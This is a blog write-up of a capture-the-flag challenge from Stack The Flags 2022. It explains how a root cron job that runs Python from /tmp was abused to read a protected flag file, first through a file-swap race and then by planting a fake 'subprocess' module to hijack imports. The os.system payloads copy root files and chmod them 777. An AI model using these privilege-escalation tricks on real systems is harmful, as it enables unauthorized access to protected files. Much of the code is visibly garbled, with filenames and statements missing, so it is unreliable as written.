Skip to main content
  1. Blogs/

STF 2022 Misc: Guthib actions

·788 words·4 mins

Recently, I participated with 3 other players in the Stack The Flags 2022 CTF. This is for the writeup of the Misc challenge Guthib actions.

This challenge involves a cronjob which runs every 5 minutes. The cronjob will run a script builds a flag file.

This is an unintended solution for this challenge.

To see the full source code for this challenge, please do so here

Looking at the source code #

FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/") | crontab

COPY ./ /root/
COPY ./ /root/
COPY ./ /root/
COPY ./ /root/

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest

This is the Dockerfile for the challenge. We can see that the challenge is running on Ubuntu 22.04.

In the Dockerfile, we can see that the cronjob is running every minute for the script.

Do note that the file is located at /root/

cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/
python3 >/dev/null 2>&1  # build flag printing binary
rm -r *

From the script above, we can see that the file is copied to the /tmp directory before it is executed.

I will first go through our own solution before we go through the actual intended solution.

Our solution #

Reading up to this point, we have determined that copying the file to the /tmp is the vulnerability.

There is a race condition between copying the file to the /tmp directory and the cronjob running the script.

We can exploit this race condition by removing the old file and overwriting it with our own file. We set off to write a script to exploit this vulnerability.

while [ 1 ]
        if [ "$(ls -A /tmp/)" ]; then
                cp ~/test/ /tmp/

This was the script that we came up with.

When it detects that there are files in the /tmp directory, it will copy the file to the /tmp directory.

To make the copy process as fast as possible, we made the code as small as possible.

Our initial test was to see if the code worked at all so we decided to just copy the flag over to our own home directory.

__import__('os').system('cp /root/ /home/guest')

After leaving it running and forgetting about it, after some time, we realized that the file was copied over into our home directory.

However, what we forgot was that the permissions for the file prevented us from viewing the file at all. Thus, we created another script and ran the chmod command below.

__import__('os').system('chmod 777 /home/guest/')

After waiting for a long time, we finally got the file.

Upon opening the file, we obtained the flag.



This was definitely not the intended solution and it took us way more time than it should have compared to the intended solution.

Intended solution #

Now let’s go through the intended solution.

cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/
python3 >/dev/null 2>&1  # build flag printing binary
rm -r *

From the script, we can see that the python file is moved over to the /tmp directory before it is executed. This will mean that the order in which python import looks for files will also start in the /tmp directory.

By looking at what the script imports, we can determine what modules to create a copy of and place it in the /tmp directory.

import subprocess['pyinstaller',  '-F',  '--distpath', '/root', '/root/'])

As we can see from the file here, python imports the subprocess library. If we create a file called subprocess in the tmp process, it will be imported instead of the actual subprocess library.

import os

path = '/root/'
with open(path) as f:
  data =

with open('/home/guest/flag', 'w') as f:

os.system('chmod 777 /home/guest/flag')

By pasting this inside the /tmp directory, we can overwrite the subprocess library and execute our own code.

This code will copy the flag over to our home directory (where we have permission to execute it). We can then receive the flag from the file.

Another alternate perspective #

Another alternate perspective is the solution by Zeyu. You can see his blog post here